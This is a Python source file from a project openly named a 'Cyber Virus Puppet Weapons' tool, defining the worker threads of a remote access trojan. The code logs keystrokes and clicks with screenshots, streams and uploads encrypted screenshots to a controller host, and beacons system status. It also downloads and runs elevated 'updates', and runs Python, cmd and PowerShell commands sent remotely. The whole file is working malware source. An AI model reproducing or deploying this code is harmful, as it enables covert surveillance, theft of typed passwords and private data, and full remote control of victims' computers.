# -*- Config : UTF-8 -*- # Project Name: Termination Generally Use Cyber Virus Puppet Weapons - TLhread/Thread_TWNTWork # Version: 4.2.0 # Build Version: ./TConfig/version.ini # Author: Veyra # Description: # TWNT Work work program. from TLib import * from TLhread import * from TLib.T_imports import * class MonitorWorker(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', TWNT: 'Thread_TWNT.TWNetworkTransit'): self.master=master self.TWNT=TWNT self.desc = "Monitor HardWare Process" self.SleepTime: int = 5 self.AddEditor("SleepTime", "SleepTime", "int") self.__init_func__() def __init_func__(self): while not self.ShouldStop(): if self.TWNT.IsConnected: self.SendData() time.sleep(self.SleepTime) def SendData(self): try: cpu = psutil.cpu_percent(interval = 1) cpu_core = psutil.cpu_count(logical = True) mem = psutil.virtual_memory() net_sent, net_recv=self.GetNetworkUsage() if self.TWNT.IsConnected: self.TWNT.emit("T4Monitor", PCMachineGUID = self.TWNT.PCMachineGUID, monitor = { "time": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), "cpu": {"usage": cpu, "core": cpu_core}, "mem": {"percent": mem.percent, "total": mem.total, "used": mem.used}, "net": {"sent": net_sent / 1024, "recv": net_recv / 1024} }) except Exception as e: self.logger.Error(T_Std.ErrorFormat(e, "Monitor ERROR")) def GetNetworkUsage(self, interval = 1): net1 = psutil.net_io_counters() time.sleep(interval) net2 = psutil.net_io_counters() sent = (net2.bytes_sent - net1.bytes_sent) / interval recv = (net2.bytes_recv - net1.bytes_recv) / interval return sent, recv class ListenKMWorker(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', TWNT: 'Thread_TWNT.TWNetworkTransit', DeltaX: int = 40, DeltaY: int = 40, WaitTimes: int = 0, SleepTime: float = 60.0, Level: int = 10, SendKMCount: int = 5000, WaitTimesMax: int = 10): self.master: 'Termination4.Termination' = master self.TWNT: 'Thread_TWNT.TWNetworkTransit' = TWNT self.desc: str = "Listen Key & Mouse Process" self.record: list = [] self.DeltaX: int = DeltaX self.DeltaY: int = DeltaY self.WaitTimes: int = WaitTimes self.SleepTime: float = SleepTime self.Level: int = Level self.SendKMCount: int = SendKMCount self.WaitTimesMax: int = WaitTimesMax self.AddEditor("DeltaX", "DeltaX", "float") self.AddEditor("DeltaY", "DeltaY", "float") self.AddEditor("WaitTimes", "WaitTimes", "int") self.AddEditor("SleepTime", "SleepTime", "float") self.AddEditor("Level", "Level", "int") self.AddEditor("SendKMCount", "SendKMCount", "int") self.AddEditor("WaitTimesMax", "WaitTimesMax", "int") self.__init_func__() self.__init_send__() def __init_func__(self): self.logger.Info("Setup Listen Key & Mouse Process") def OnKey(key): self.record.append(str(key.char if hasattr(key, "char") else key)) def OnClick(x, y, button, pressed): self.record.append( {"I":[x, y], "K":"L" if pynput.mouse.Button.left == button else "R", "A": "P" if pressed else "R", "M": f"data:image/jpeg;base64,{base64.b64encode(r["ImageBytes"]).decode("utf-8")}" if (r:=self.master.WindowsScreenCapture.CaptureAndCompressScreenshot( self.Level, *sum(self.master.WindowsScreenCapture.AdjustCoordinatesAdvanced( (x, y), (0, 0), (self.master.WindowsScreenCapture.X, self.master.WindowsScreenCapture.Y), self.DeltaX, self.DeltaY ), ()) ) ) else "" } ) self.Thread_Key: threading.Thread = threading.Thread(target=lambda: pynput.keyboard.Listener(on_press=OnKey).start()) self.Thread_Mouse: threading.Thread = threading.Thread(target=lambda: pynput.mouse.Listener(on_click=OnClick).start()) self.Thread_Key.start() self.Thread_Mouse.start() def __init_send__(self): while True: if len(self.record) < self.SendKMCount: self.WaitTimes+=1 if self.TWNT.IsConnected and self.record and (len(self.record) > self.SendKMCount or self.WaitTimes > self.WaitTimesMax): try: self.TWNT.emit("T4KM", PCMachineGUID = self.TWNT.PCMachineGUID, record = json.dumps(self.record)) except Exception as e: return self.logger.Error(T_Std.ErrorFormat(e, "Send KM Error")) self.record=[] self.WaitTimes=0 time.sleep(self.SleepTime) def SendNow(self): if self.TWNT.IsConnected and self.record: try: self.TWNT.emit("T4KM", PCMachineGUID = self.TWNT.PCMachineGUID, record = json.dumps(self.record)) except Exception as e: self.logger.Error(T_Std.ErrorFormat(e, "Send KM Error")) self.record=[] self.WaitTimes=0 return self.logger.Success("The Upload Was Successful") self.logger.Error("!CONNECTED OR !RECORD") class TWNTProcessSynchronousWorker(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', TWNT: 'Thread_TWNT.TWNetworkTransit', SleepTime: float = 30.0): self.master: 'Termination4.Termination' = master self.TWNT: 'Thread_TWNT.TWNetworkTransit' = TWNT self.desc: str = f"TWNT Process Synchronous" self.SleepTime: float = SleepTime self.AllInfo: bool = False self.AddEditor("SleepTime", "SleepTime", "float") self.AddEditor("AllInfo", "AllInfo", "bool") while not self.ShouldStop(): if TWNT.IsConnected: self.ProcessSynchronous() time.sleep(self.SleepTime) def ProcessSynchronous(self): p: list[dict[str: typing.Any]] = [] for i in self.master.TProcessManager.GetAllThreads(): _: T_Process.TProcess = self.master.TProcessManager.GetThread(i) p.append({ "name": i, "description": _.desc, "progress": _.progress, "default": {i["key"]: getattr(_, i["key"], None) for i in _.editor} if self.AllInfo else {}, "editor": _.editor if self.AllInfo else [] }) q: list[dict[str: typing.Any]] = [] for i in self.master.Mp_TProcessManager.GetAllProcesses(): _: T_Process.Mp_TProcess = self.master.Mp_TProcessManager.GetProcess(i) q.append({ "name": i, "description": _.desc, "progress": _.progress, "default": {i["key"]: getattr(_, i["key"], None) for i in _.editor}, "editor": _.editor if self.AllInfo else [] }) self.TWNT.emit("T4Thread", PCMachineGUID = self.TWNT.PCMachineGUID, process = p) self.TWNT.emit("T4Process", PCMachineGUID = self.TWNT.PCMachineGUID, process = q) class TWNTCoverScreen(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', TWNT: 'Thread_TWNT.TWNetworkTransit', SleepTime: float = 120.0): self.master: 'Termination4.Termination' = master self.desc: str = f"Cover Screen" self.TWNT: 'Thread_TWNT.TWNetworkTransit' = TWNT self.ECode: int = 0 self.SleepTime: float = SleepTime self.AddEditor("SleepTime", "SleepTime", "float") self.AddEditor("ECode", "ECode", "int") while not self.ShouldStop(): if TWNT.IsConnected: self.UploadScreenshot() time.sleep(self.SleepTime) def UploadScreenshot(self): TWNT = self.TWNT if TWNT.IsConnected and (ssb:=self.master.WindowsScreenCapture.CaptureAndCompressScreenshot(TWNT.Level)): r: requests.Response = requests.post(f"{TWNT.PATFile['X']}://{TWNT.PATFile['Host']}/TAPI/cover.api", files={"screen": (".gkbd", TWNT.GodKeys.encrypt(ssb["ImageBytes"]))}, data={"PCMachineGUID": TWNT.PCMachineGUID}, verify=False) if (int(r.status_code) != 200 or r.text != "OK") and self.ECode <= 10: self.logger.Debug(f"Cover Update State: Code: {r.status_code} Text: {r.text}") self.ECode += 1 class TWNTRealTimeScreen(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', TWNT: 'Thread_TWNT.TWNetworkTransit', Level: int = 15, SleepTime: float = 1.0, PCMachineGUID: str = ""): try: self.Level: int = int(Level) self.SleepTime: float = float(SleepTime) except: self.logger.Error("Real-Time Screen: Bad Int") return self.desc: str = f"Real-Time Screen, Level: {self.Level}" self.Sleep: float = self.SleepTime self.AddEditor("Level", "Level", "int") self.AddEditor("SleepTime", "SleepTime", "float") while not self.ShouldStop() and TWNT.IsConnected: self.screenshot: dict[str: typing.Any] = master.WindowsScreenCapture.CaptureAndCompressScreenshot(self.Level) self.screenshot["PCMachineGUID"] = PCMachineGUID self.screenshot["CreateTime"] = time.time() TWNT.emit("T4RealTimeScreen", self.screenshot) time.sleep(self.Sleep) class TWNESynchronousTProcess(T_Process.TProcess): def Run(self, TWNT: 'Thread_TWNT.TWNetworkTransit', SleepTime: float = 10.0): self.TWNT: 'Thread_TWNT.TWNetworkTransit' = TWNT self.desc = "Tell Server: Maintain A State Of Survival" self.SleepTime = SleepTime self.ServerSynchronizationTime: float = 0.0 self.ServerSynchronizationTimeData: float | str | bytes = 0.0 self.BootTime: int = time.time() self.DisconnectCount: int = 0 self.SyncCount: int = 0 self._AllowDifference_ConnectTime: int = 20 self._AllowDifference_ServerSynchronizationTime: int = 30 self._AllowDifference_BootTime: int = 60 self.AddEditor("SleepTime", "SleepTime", "float") while True: self.SyncCount += 1 self.SynchronousTSignal() time.sleep(self.SleepTime) def SynchronousTSignal(self): if self.TWNT.IsConnected: try: self.TWNT.emit("T4Synchronous", PCMachineGUID = self.TWNT.PCMachineGUID) except: self.logger.Info("Server Not Survival In SynchronousTSignal", False) try: self.TWNT._disconnect() except: self.logger.Error("Failed To Send Synchronous Message") class TWNEUpdateApp(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', FileURL: str = ""): self.desc: str = "CMD: Update" if master.WorkMod == "py": return self.logger.Info("In The Python Mode!") self.logger.Info("Download Update...") self.UUID: str = GUUID() self.TerminationBin: str = os.path.join(os.getenv("temp"), f"{self.UUID}.tmp") self.AddEditor("UUID", "UUID", "str") self.AddEditor("TerminationBin", "TerminationBin", "str") try: _: requests.Response = requests.get(FileURL, stream=True, verify=False) TotalSize: int = int(_.headers.get('content-length', 0)) DownloadedSize: int = 0 with open(self.TerminationBin, 'wb') as f: self.logger.Info("Donwload Update Bin...") for chunk in _.iter_content(chunk_size=1024*4): if chunk: f.write(chunk) DownloadedSize += len(chunk) self.progress = int((DownloadedSize / TotalSize) * 100) r: requests.Response = requests.get(f"{master.TWNT.PATFile['X']}://{master.TWNT.PATFile['Host']}/TAPI/SHA256.api", verify=False, timeout=10) if int(r.status_code) == 200: if master.tpll.GetFileSha256(self.TerminationBin) != r.text: master.TWNT.Updating=False return self.logger.Error("SHA256 Error!") except Exception as e: master.TWNT.Updating = False return self.logger.Error(T_Std.ErrorFormat(e, "Update Error")) else: self.logger.Success("DownLoaded") if not os.path.exists(self.TerminationBin): return self.logger.Error("Not Exists") if TotalSize == 0 or os.path.getsize(self.TerminationBin) != TotalSize: self.logger.Error("GetSize != TotalSite, Deleted") master.TWNT.Updating = False os.remove(self.TerminationBin) return master.Thread_AutoRun.stop() master.__uninit_lock__() master.__init_elevate__([master.PEBinary_Update, "20", self.TerminationBin, master.__file__], me=False, sleep=0, show_console=False, protect=False) class Thread_Test(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', start: int = 0, stop: int = 10000, step: int = 1): self.desc = "CMD: Test" for i in range(start, stop, step): self.logger.Info(i) time.sleep(1) class Thread_CmdThread(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', TWNT: 'Thread_TWNT.TWNetworkTransit', cmd: str): self.desc = f"Popen: {cmd}" self.cmd = cmd self.AddEditor("cmd", "cmd", "str", []) self._stop_event = threading.Event() self.process = subprocess.Popen( shlex.split(self.cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, text=True, encoding='gbk', errors='replace' ) try: while not self._stop_event.is_set() and self.process.poll() is None: output = self.process.stdout.readline() if output: self.logger.Info(output.strip()) time.sleep(0.1) time.sleep(2) finally: if self.process and self.process.poll() is None: self._Handle_Stop() def _Handle_Stop(self): try: self.process.terminate() self.process.wait(timeout=1) self.process.kill() except subprocess.TimeoutExpired: self.process.kill() class TWNETProcess(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', TWNT: 'Thread_TWNT.TWNetworkTransit', data): self.master = master self.TWNT = TWNT self.MappingTable: list[typing.Callable] = { "Python": self.Handle_Python, "Cmd": self.Handle_Cmd, "PowerShell": self.Handle_PowerShell, "ThreadINFO": self.Handle_ThreadINFO, "ProcessINFO": self.Handle_ProcessINFO, "ThreadKill": self.Handle_ThreadKill, "ProcessKill": self.Handle_ProcessKill, "ThreadRevise": self.Handle_ThreadRevise, "GetL3T": self.Handle_GetL3T, "AddL3T": self.Handle_AddL3T, "ChangeL3T": self.Handle_ChangeL3T, "DelL3T": self.Handle_DelL3T, "Screenshot": self.Handle_Screenshot, "Update": self.Handle_Update, "RealTimeScreen": self.Handle_RealTimeScreen, "KillRealTimeScreen": self.Handle_KillRealTimeScreen, "GetLog": self.Handle_GetLog, "KMSendNow": self.Handle_KMSendNow, } self.data = data self.desc = "Started By The Command Line" self.__init_func__() def __init_func__(self): self.logger.Info(f"Thread-Data: {self.data}") if "work" in self.data: try: if self.data["work"] not in self.MappingTable: self.logger.Error("Not Knowing How Work") return self.MappingTable[self.data["work"]]() except Exception as e: if self.TWNT.IsConnected: self.TWNT.emit("T4Message", PCMachineGUID = self.TWNT.PCMachineGUID, Error = T_Std.ErrorJsonConverter.ConvertToJson(e)) self.logger.Error(T_Std.ErrorFormat(e, "TWNETProcess __init_work__ Error"), Echo=False) def Handle_Python(self): self.desc = "CMD: Run Python Command" exec(self.data["Command"], self.master.WorkENV) def Handle_Cmd(self): self.desc = "CMD: Run Cmd Command" _ = Thread_CmdThread(self.master, self.TWNT, self.data["Command"]) self.master.TProcessManager.AddThread(_) _.start() def Handle_PowerShell(self): self.desc = "CMD: Run PowerShell Command" self.Popen = subprocess.Popen( "powershell -Command " + self.data["Command"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, encoding='gbk', errors='replace' ) for line in self.Popen.stdout: self.logger.Info(line.strip()) self.Popen.wait() def Handle_ReSystemINFO(self): self.desc = "CMD: Re System INFO" self.TWNT.emit("T4ReSystemINFO", PCMachineGUID = self.TWNT.PCMachineGUID, PCSystemINFO = json.dumps(Thread_TWNT.GetWindowsSystemINFO())) def Handle_ThreadINFO(self): self.desc = "CMD: Thread Scanning" self.TWNT.Thread_TWNTProcessSynchronousWorker.ProcessSynchronous() def Handle_ThreadKill(self): self.desc = "CMD: ThreadKill" self.master.TProcessManager.KillThread(self.data["Command"]) def Handle_ThreadRevise(self): self.desc = "CMD: ThreadRevise" if "TaskName" not in self.data["Command"]: self.logger.Error("TaskName not in data.Command") if "FormData" not in self.data["Command"]: self.logger.Error("FormData not in data.Command") if not (t:=self.master.TProcessManager.GetThread(self.data["Command"]["TaskName"])): self.logger.Error("GetThread TaskName Is None") for i in self.data["Command"]["FormData"]: if not getattr(t, i, None): self.logger.Error(f"Thread {self.data['Command']['TaskName']} not have {i}") continue if getattr(t, f"Handle_{i}", None): exec(f"t.Handle_{i}(v)", {"t": t, "v": self.data["Command"]["FormData"][i]}) setattr(t, i, self.data["Command"]["FormData"][i]) def Handle_ProcessINFO(self): self.desc = "CMD: Process Scanning" self.TWNT.Thread_TWNTProcessSynchronousWorker.ProcessSynchronous() def Handle_ProcessKill(self): self.desc = "CMD: ProcessKill" self.master.Mp_TProcessManager.KillProcess(self.data["Command"]) def Handle_ProcessRevise(self): self.desc = "CMD: ProcessRevise" if "TaskName" not in self.data["Command"]: self.logger.Error("TaskName not in data.Command") if "FormData" not in self.data["Command"]: self.logger.Error("FormData not in data.Command") if not (t := self.master.Mp_TProcessManager.GetThread(self.data["Command"]["TaskName"])): self.logger.Error("GetThread TaskName Is None") for i in self.data["Command"]["FormData"]: if not getattr(t, i, None): self.logger.Error(f"Thread {self.data['Command']['TaskName']} not have {i}") continue if getattr(t, f"Handle_{i}", None): exec(f"t.Handle_{i}(v)", {"t": t, "v": self.data["Command"]["FormData"][i]}) setattr(t, i, self.data["Command"]["FormData"][i]) def Handle_GetL3T(self): self.desc = "CMD: Read L3T" #r=[] #l=self.master.L3T.read() #for i in l: # p=self.master.L3T.get(i) # p["TaskUUID"]=i # r.append(p) self.TWNT.emit("T4L3T", PCMachineGUID = self.TWNT.PCMachineGUID, L3T = list(self.master.Thread_LW3T.L3T.read().values())) def Handle_AddL3T(self): self.desc = "CMD: Add L3T" k=GUUID() v=self.data["Command"] v["TaskUUID"]=k if self.master.Thread_LW3T.insert(k, v): self.logger.Success("Insertion Is Successful") else: self.logger.Error("Insertion Failed") self.TWNT.emit("T4L3TRELOAD", PCMachineGUID = self.TWNT.PCMachineGUID) def Handle_ChangeL3T(self): self.desc = "CMD: Change L3T" if self.master.Thread_LW3T.change(self.data["Command"]["TaskUUID"], self.data["Command"]): self.logger.Success("Modification Is Successful") else: self.logger.Error("Monification Failed") self.TWNT.emit("T4L3TRELOAD", PCMachineGUID = self.TWNT.PCMachineGUID) def Handle_DelL3T(self): self.desc = "CMD: Del L3T" if self.master.Thread_LW3T.remove(self.data["Command"]): self.logger.Success("Deleted Is Successful") else: self.logger.Error("Deleted Failed") self.TWNT.emit("T4L3TRELOAD", PCMachineGUID = self.TWNT.PCMachineGUID) def Handle_Screenshot(self): self.desc = "CMD: Screenshot" ssb=self.master.KeMouse.ScreenshotBytes() r = requests.post(f"{self.TWNT.PATFile['X']}://{self.TWNT.PATFile['Host']}/TAPI/scrht.api", files={"screen": (".gkbd", self.TWNT.GodKeys.encrypt(ssb))}, data={"PCMachineGUID": self.TWNT.PCMachineGUID}, verify=False) self.logger.Success(f"ScreenShot Update State: Code: {r.status_code} Text: {r.text}") # self.TWNT.emit("T4Screenshot", PCMachineGUID = self.TWNT.PCMachineGUID, PNG = self.master.KeMouse.ScreenshotBytes()) def Handle_Update(self): self.desc = "CMD: Update" self.logger.Debug("Start To Update.") UBUF=TWNEUpdateApp(self.master, self.data["Command"]) self.master.TProcessManager.AddThread(UBUF) UBUF.start() def Handle_RealTimeScreen(self): self.desc = "CMD: RealTimeScreen" if self.TWNT.Thread_RealTimeScreen: self.TWNT.Thread_RealTimeScreen.Stop() level=self.data["Command"]["level"] sleep=self.data["Command"]["sleep"] self.TWNT.Thread_RealTimeScreen=TWNTRealTimeScreen(self.master, self.TWNT, level, sleep, self.TWNT.PCMachineGUID) self.master.TProcessManager.AddThread(self.TWNT.Thread_RealTimeScreen) self.TWNT.Thread_RealTimeScreen.start() def Handle_RealTimeScreenStop(self): self.desc = "CMD: RealTimeScreen" if self.TWNT.Thread_RealTimeScreen: self.TWNT.Thread_RealTimeScreen.Stop() def Handle_KillRealTimeScreen(self): self.desc = "CMD: KillRealTimeScreen" if self.TWNT.Thread_RealTimeScreen: self.TWNT.Thread_RealTimeScreen.Stop() self.TWNT.Thread_RealTimeScreen=None def Handle_GetLog(self): self.desc = "CMD: GetLog" try: self.TWNT.emit("T4Log", PCMachineGUID = self.TWNT.PCMachineGUID, Log = self.master.tpll.ReadFileRangeFromEnd( self.master.__log_path__, self.data["Command"][0], self.data["Command"][1], self.data["Command"][3] if len(self.data["Command"]) == 3 else 1024 ) ) except Exception as e: self.logger.Error(T_Std.ErrorFormat(e, "GetLog Error")) def Handle_KMSendNow(self): self.desc = "CMD: KMSendNow" self.TWNT.Thread_ListenKMWorker.SendNow()